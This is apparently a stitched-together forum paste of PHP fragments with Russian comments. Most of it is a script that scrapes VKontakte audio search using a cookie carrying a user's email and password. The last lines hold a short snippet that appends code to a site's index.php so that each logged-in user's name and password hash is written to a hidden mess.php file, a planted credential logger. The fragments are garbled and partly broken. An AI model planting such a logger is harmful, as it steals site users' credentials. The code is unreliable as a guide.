\d
<div class="summary">Найдено 4886 аудиозаписей.</div>
'#(\d+)#'
# Отключить вывод ошибок error_reporting(0); # Отключаем ограничение на время выполнения скрипта set_time_limit(0); # GZip on ob_start("ob_gzhandler"); # Имя скрипта на сервере $script = $_SERVER['PHP_SELF']; # Request's include require_once('config.php'); # Получение запросов $q = $_GET['q']; $page = $_GET['page']; # оброботка $page = ($page > 0) ? intval($page) : 0; $page_limt = ($page) ? ($page . '00') : 0; // bla... bla.. bla.... # Подстройка запроса if ($page == 0) { $POST = "add=1&gid=0&field=&to_id=0&q=".urlencode($q); } else { $GET = "add=1&q=".urlencode($q)."&st=".$page_limt; } # Отправляем заголовки if ($page == 0) { $out = "POST /audiosearch.php HTTP/1.1\r\n"; } else { $out = "GET /audiosearch.php?".$GET." HTTP/1.1\r\n"; } // bla... bla.. bla.... $out .= "Host: vkontakte.ru\r\n"; $out .= "User-Agent: Mozilla/5.0\r\n"; $out .= "Keep-Alive: 300\r\n";// $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: Close\r\n"; $out .= "Referer: http://vkontakte.ru/audiosearch.php?q=".urlencode($q)."&add=1&st=".(($page_limt < 100) ? $page_limt + 100 : $page_limt - 100)."\r\n"; $out .= "Cookie: remixclosed_tabs=0; remixchk=5; remixlang=0; remixclosed_tabs=0; remixgroup_closed_tabs=0; audio_vol=80; remixmid=" . intval($id) . "; remixemail=" . urlencode($email) . "; remixpass=" . $password . "; remixsid=".md5(gen_brows())."\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; fwrite($fsock, $out); while(!feof($fsock)) { $responce .= fread($fsock, 512); } fclose($fsock); preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds_tmp); $count_sounds = $count_sounds_tmp[1]; unset($count_sounds_tmp); preg_match("#<a href='audiosearch.php.*;st=(.*)0' >»</a>#", $responce, $end_page_tmp); $end_page = $end_page_tmp[1]; unset($end_page_tmp); if ($count_sounds > 0) { } ///////////// Хде то в конце 5й страницы <?php if ($count_sounds > 0) { echo ' <tr> <td colspan="3"><ul class="pageList">'; /////////////////////////////////////////////////////// if ($page >= 1 ) { echo ' <li><a href="'.$script.'?page=0">«</a></li> '; } for ($i=0+$page; $i<$page+$menu_count; $i++) { if ($i == $page) { echo ' <li class="current"><a href="#">'.$page.'</a></li> '; } else { echo ' <li><a href="'.$script.'?page='.$i.'">'.$i.'</a></li> '; } } ////////////////////////////////////////////////////// echo ' <li><a href="'.$script.'?page='.$end_page.'">»</a></li> </ul></td> </tr> '; } ?><?php ob_end_flush(); ?>
<? $fp=fopen("index.php","a+"); $tmp=<<<HTT <? \$fp=fopen ("mess.php","a+"); fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass"); ?> HTT; fputs($fp,$tmp); fclose($fp); ?>
<?php \$fp=fopen ("include/mess.php","a+"); fputs(\$fp,"\r\n$logged_user_name-$enc_user_pass"); ?>